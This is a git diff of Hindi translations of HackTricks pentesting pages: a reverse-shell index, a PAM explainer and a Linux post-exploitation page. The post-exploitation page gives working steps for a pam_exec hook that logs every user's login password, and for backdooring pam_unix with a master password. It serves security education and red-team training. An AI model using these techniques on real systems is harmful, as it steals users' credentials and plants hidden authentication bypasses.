mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['generic-methodologies-and-resources/shells/README.md', 'lin
This commit is contained in:
parent
b24f7a8e8c
commit
5d699b4529
15 changed files with 616 additions and 586 deletions
|
@ -1,29 +1,27 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** की उपलब्धता चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें**.
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# [**शेल्स - लिनक्स**](linux.md)
|
||||
# [**Shells - Linux**](linux.md)
|
||||
|
||||
# [**शेल्स - विंडोज**](windows.md)
|
||||
# [**Shells - Windows**](windows.md)
|
||||
|
||||
# [**MSFVenom - चीटशीट**](msfvenom.md)
|
||||
# [**MSFVenom - CheatSheet**](msfvenom.md)
|
||||
|
||||
# [**पूर्ण TTYs**](full-ttys.md)
|
||||
# [**Full TTYs**](full-ttys.md)
|
||||
|
||||
# **स्वचालित रूप से उत्पन्न शेल्स**
|
||||
# **Auto-generated shells**
|
||||
|
||||
* [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
|
||||
* [**https://www.revshells.com/**](https://www.revshells.com/)
|
||||
|
@ -40,16 +38,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** की उपलब्धता चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें**.
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,96 +1,96 @@
|
|||
# लिनक्स पोस्ट-एक्सप्लोइटेशन
|
||||
# Linux Post-Exploitation
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित करना** चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**एनएफटीएस**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
||||
## PAM के साथ लॉगऑन पासवर्ड को स्निफ करें
|
||||
## PAM के साथ लॉगिन पासवर्ड्स की स्निफिंग
|
||||
|
||||
चलो PAM मॉड्यूल को कॉन्फ़िगर करें ताकि हर उपयोगकर्ता द्वारा उपयोग किए जाने वाले पासवर्ड को लॉग करें। यदि आपको पता नहीं है कि PAM क्या है, तो देखें:
|
||||
आइए हम एक PAM मॉड्यूल को कॉन्फ़िगर करें जो हर बार जब कोई यूजर लॉगिन करता है तो पासवर्ड लॉग करेगा। यदि आपको PAM के बारे में नहीं पता है तो चेक करें:
|
||||
|
||||
{% content-ref url="pam-pluggable-authentication-modules.md" %}
|
||||
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
सबसे पहले, हम एक बैश स्क्रिप्ट बनाते हैं जो हर नई प्रमाणीकरण होने पर आवंटित किया जाएगा।
|
||||
सबसे पहले, हम एक bash स्क्रिप्ट बनाते हैं जो नए प्रमाणीकरण होने पर इन्वोक की जाएगी।
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
```
|
||||
परिवर्तनशीलता चरों केवल PAM विशिष्ट होंगे और `pam_exec.so` मॉड्यूल के माध्यम से उपलब्ध होंगे।
|
||||
वेरिएबल्स PAM विशिष्ट हैं और `pam_exec.so` मॉड्यूल के माध्यम से उपलब्ध होंगे।
|
||||
|
||||
यहां चरों का अर्थ है:
|
||||
यहाँ वेरिएबल्स का अर्थ है:
|
||||
|
||||
* **$PAM\_USER:** उस उपयोगकर्ता का नाम जो दर्ज किया गया था।
|
||||
* **$PAM\_RHOST:** रिमोट होस्ट (सामान्यतः IP पता)
|
||||
* **$(cat -):** यह `stdin` को पढ़ता है, और इसमें स्क्रिप्ट द्वारा पकड़ा गया पासवर्ड होगा
|
||||
* परिणामों को `/var/log/toomanysecrets.log` पर एक लॉग फ़ाइल में पाइप किया जाता है
|
||||
* **$PAM\_USER:** जो उपयोगकर्ता नाम दर्ज किया गया था।
|
||||
* **$PAM\_RHOST:** दूरस्थ होस्ट (आमतौर पर IP पता)
|
||||
* **$(cat -):** यह `stdin` को पढ़ता है, और इसमें वह पासवर्ड होगा जिसे स्क्रिप्ट ने पकड़ा है
|
||||
* परिणाम `/var/log/toomanysecrets.log` में एक लॉग फाइल में पाइप किए जाते हैं
|
||||
|
||||
फ़ाइल को **सभी उपयोगकर्ताओं को पढ़ने से रोकने** के लिए, इसे पहले से बना लें और `chmod` चलाएं, उदा।:
|
||||
**सभी उपयोगकर्ताओं को फाइल पढ़ने से रोकने के लिए** फाइल को पहले से बनाकर और `chmod` चलाकर विचार करें, उदाहरण के लिए:
|
||||
```bash
|
||||
sudo touch /var/log/toomanysecrets.sh
|
||||
sudo chmod 770 /var/log/toomanysecrets.sh
|
||||
```
|
||||
अगले, PAM कॉन्फ़िगरेशन फ़ाइल को अपडेट किया जाना चाहिए, `pam_exec` मॉड्यूल का उपयोग स्क्रिप्ट को आह्वानित करने के लिए किया जाएगा।
|
||||
आगे, PAM कॉन्फ़िगरेशन फ़ाइल को अपडेट करने की ज़रूरत है `pam_exec` मॉड्यूल का उपयोग स्क्रिप्ट को इन्वोक करने के लिए किया जाएगा।
|
||||
|
||||
`/etc/pam.d/` में कई कॉन्फ़िग फ़ाइलें होती हैं, और हम `common-auth` को चुनते हैं।
|
||||
`/etc/pam.d/` में विभिन्न कॉन्फ़िग फ़ाइलें स्थित हैं, और हम `common-auth` का चयन करते हैं।
|
||||
```
|
||||
sudo nano /etc/pam.d/common-auth
|
||||
```
|
||||
फ़ाइल के नीचे, निम्नलिखित प्रमाणीकरण मॉड्यूल जोड़ें:
|
||||
फ़ाइल के सबसे निचले भाग में, निम्नलिखित प्रमाणीकरण मॉड्यूल जोड़ें:
|
||||
|
||||
`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
विकल्पों का निम्नलिखित अर्थ है:
|
||||
|
||||
* **optional:** यदि कोई त्रुटि हो तो प्रमाणीकरण विफल नहीं होना चाहिए (यह एक आवश्यक चरण नहीं है)
|
||||
* **pam\_exec.so:** यह लिविंग ऑफ द लैंड पैम मॉड्यूल है जो विभिन्न स्क्रिप्ट को आमंत्रित कर सकता है
|
||||
* **expose\_authtok:** यह ट्रिक है जो `stdin` के माध्यम से पासवर्ड पढ़ने की अनुमति देता है
|
||||
* **quiet:** उपयोगकर्ता को कोई त्रुटि नहीं दिखाएं (यदि कुछ काम नहीं करता है तो)
|
||||
* अंतिम तर्क पिछले बनाए गए शैल स्क्रिप्ट है
|
||||
* **pam\_exec.so:** यह एक PAM मॉड्यूल है जो मनमानी स्क्रिप्ट्स को आमंत्रित कर सकता है
|
||||
* **expose\_authtok:** यह वह चाल है जो `stdin` के माध्यम से पासवर्ड पढ़ने की अनुमति देता है
|
||||
* **quiet:** यदि कुछ काम नहीं करता है तो उपयोगकर्ता को कोई त्रुटियां न दिखाएं
|
||||
* अंतिम तर्क पहले बनाई गई शेल स्क्रिप्ट है
|
||||
|
||||
![](<../../.gitbook/assets/image (375).png>)
|
||||
|
||||
अंत में, फ़ाइल को क्रियाशील बनाएं:
|
||||
अंत में, फ़ाइल को निष्पादन योग्य बनाएं:
|
||||
|
||||
`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
|
||||
|
||||
अब, इसे एक दूसरे मशीन से ssh करके या स्थानीय रूप से लॉगिन करके इसे आज़माएं।
|
||||
अब, इसे आज़माएं और दूसरी मशीन से ssh करें, या स्थानीय रूप से लॉगिन करें।
|
||||
|
||||
और फिर लॉग फ़ाइल पर नज़र डालें:
|
||||
और फिर लॉग फ़ाइल देखें:
|
||||
```
|
||||
$ sudo cat /var/log/toomanysecrets.log
|
||||
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||||
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
```
|
||||
### PAM को Backdoor करना
|
||||
### PAM में बैकडोरिंग
|
||||
|
||||
चलो PAM के स्रोत में जाएँ (आपके डिस्ट्रो पर निर्भर करेगा, अपने वर्जन नंबर को लें...) और pam\_unix\_auth.c फ़ाइल में लाइन नंबर 170/180 के आसपास देखें:
|
||||
PAM के सोर्स कोड की ओर बढ़ते हैं (आपके डिस्ट्रो पर निर्भर करता है, अपने वर्जन नंबर का उपयोग करें..) और pam\_unix\_auth.c फाइल में लाइन नंबर 170/180 के आसपास देखते हैं:
|
||||
```
|
||||
vi modules/pam_unix/pam_unix_auth.c
|
||||
```
|
||||
```markdown
|
||||
![](<../../.gitbook/assets/image (651).png>)
|
||||
|
||||
इसे निम्नलिखित से बदलें:
|
||||
इसे बदलते हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (2) (2).png>)
|
||||
|
||||
इससे किसी भी उपयोगकर्ता को **"0xMitsurugi" पासवर्ड** का उपयोग करके लॉग इन करने की अनुमति होगी।
|
||||
यह किसी भी उपयोगकर्ता को **पासवर्ड "0xMitsurugi"** का उपयोग करके लॉग इन करने की अनुमति देगा।
|
||||
|
||||
`pam_unix_auth.c` को पुनः कंपाइल करें और pam\_unix.so फ़ाइल को बदलें:
|
||||
`pam_unix_auth.c` को फिर से कंपाइल करें, और pam_unix.so फाइल को बदलें:
|
||||
```
|
||||
```bash
|
||||
make
|
||||
sudo cp \
|
||||
|
@ -108,16 +108,14 @@ sudo cp \
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में शामिल हों या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग तरकीबें साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना** चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** का उपयोग करना है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks repo](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
PAM एक संग्रह है जो मूल रूप से आपके सिस्टम पर एक सेवा और सेवा के उपयोगकर्ता के बीच एक बैरियर बनाते हैं। इन मॉड्यूलों का व्यापक उद्देश्य हो सकता है, एक विशेष UNIX समूह (या नेटग्रुप, या सबनेट...) से उपयोगकर्ताओं को लॉगिन करने से रोकना, या संसाधन सीमाएं लागू करना ताकि आपका 'अनुसंधान' समूह सिस्टम संसाधनों को न खाएं।
|
||||
PAM एक मॉड्यूल्स का संग्रह है जो मूल रूप से आपके सिस्टम पर एक सेवा और सेवा के उपयोगकर्ता के बीच एक बाधा का निर्माण करता है। मॉड्यूल्स के उद्देश्य बहुत भिन्न हो सकते हैं, एक विशेष UNIX समूह (या नेटग्रुप, या सबनेट...) से लॉगिन को अस्वीकार करने से लेकर संसाधन सीमाओं को लागू करने तक ताकि आपका 'अनुसंधान' समूह सिस्टम संसाधनों का अधिक उपयोग न कर सके।
|
||||
|
||||
# कॉन्फ़िग फ़ाइलें
|
||||
|
||||
सोलरिस और अन्य वाणिज्यिक UNIX सिस्टमों में, एक थोड़ा अलग कॉन्फ़िगरेशन मॉडल होता है, जो एक एकल फ़ाइल, **`/etc/pam.conf`** के चारों ओर केंद्रित होता है। अधिकांश Linux सिस्टमों पर, ये कॉन्फ़िगरेशन फ़ाइलें **`/etc/pam.d`** में रहती हैं, और सेवा के नाम के बाद नामित होती हैं - उदाहरण के लिए, 'लॉगिन' कॉन्फ़िगरेशन फ़ाइल को **`/etc/pam.d/login`** कहा जाता है। आइए इस फ़ाइल का एक झलक लेते हैं:
|
||||
Solaris और अन्य वाणिज्यिक UNIX सिस्टम्स में एक थोड़ा अलग कॉन्फ़िगरेशन मॉडल होता है, जो एक एकल फ़ाइल के आसपास केंद्रित होता है, **`/etc/pam.conf`**। अधिकांश Linux सिस्टम्स पर, ये कॉन्फ़िगरेशन फ़ाइलें **`/etc/pam.d`** में रहती हैं, और सेवा के नाम पर रखी जाती हैं – उदाहरण के लिए, 'लॉगिन' कॉन्फ़िगरेशन फ़ाइल को **`/etc/pam.d/login`** कहा जाता है। चलिए उस फ़ाइल के एक संस्करण पर त्वरित नज़र डालते हैं:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_nologin.so
|
||||
|
@ -34,34 +32,48 @@ session required /lib/security/pam_unix_session.so
|
|||
```
|
||||
## **PAM प्रबंधन क्षेत्र**
|
||||
|
||||
बाएं स्तंभ में चार अद्वितीय शब्द हो सकते हैं, जो PAM प्रबंधन के चार क्षेत्रों को प्रतिष्ठानित करते हैं: **auth**, **account**, **password** और **session**. हालांकि, बहुत से मॉड्यूल हैं जो इनमें से एक से अधिक क्षेत्र का समर्थन करते हैं \(वास्तव में, pam\_unix इन सभी का समर्थन करता है\), दूसरे, जैसे pam\_cracklib उदाहरण के लिए, केवल एक क्षेत्र के लिए उपयुक्त हैं \(pam\_cracklib के मामले में 'password' सुविधा\).
|
||||
बायीं ओर का कॉलम चार अनूठे शब्दों को समेट सकता है, जो PAM प्रबंधन के चार क्षेत्रों का प्रतिनिधित्व करते हैं: **auth**, **account**, **password** और **session**। जबकि कई मॉड्यूल इनमें से एक से अधिक क्षेत्रों का समर्थन करते हैं (वास्तव में, pam_unix इन सभी का समर्थन करता है), अन्य, जैसे कि pam_cracklib, केवल एक के लिए उपयुक्त होते हैं (pam_cracklib के मामले में 'password' सुविधा)।
|
||||
|
||||
* **auth**: 'auth' क्षेत्र \(मैं इसे एक क्षेत्र कहता हूँ - दस्तावेज़ों में इसे 'प्रबंधन समूह' या 'सुविधा' के रूप में संदर्भित किया जाता है\) उसे जांचने के लिए जिम्मेदार है कि उपयोगकर्ता वही हैं जो वे कहते हैं. इस क्षेत्र में सूचीबद्ध किए जा सकने वाले मॉड्यूल **आम तौर पर पासवर्ड के लिए प्रश्न पूछने** का समर्थन करते हैं।
|
||||
* **account**: इस क्षेत्र की जिम्मेदारी विभिन्न संभावित **खाता सत्यापन कार्यक्षमता** के लिए होती है। इस सुविधा के लिए कई मॉड्यूल उपलब्ध हैं। सेवा के उपयोग पर **समूह सदस्यता की जांच**, दिन के समय, क्या उपयोगकर्ता खाता स्थानीय या दूरस्थ है, आदि पर प्रतिबंध आमतौर पर इस सुविधा का समर्थन करने वाले मॉड्यूल द्वारा प्रवर्तित किए जाते हैं।
|
||||
* **password**: इस क्षेत्र में मॉड्यूल एक दिए गए सेवा के लिए **पासवर्ड अद्यतन** के किसी भी कार्यक्षमता के लिए जिम्मेदार होते हैं। अधिकांश समय में, यह खंड बहुत ही 'साधारण' होता है, बस एक मॉड्यूल को **वर्तमान पासवर्ड के लिए प्रश्न पूछेगा**, और, यदि वह सफल होता है, तो आपसे एक नया पासवर्ड पूछेगा। इसके अलावा, इसमें पासवर्ड की जटिलता या शब्दकोश की जांच करने जैसी अन्य कार्यक्षमताएं भी शामिल की जा सकती हैं, जैसे pam\_cracklib और pam\_pwcheck मॉड्यूल द्वारा की जाने वाली जांच।
|
||||
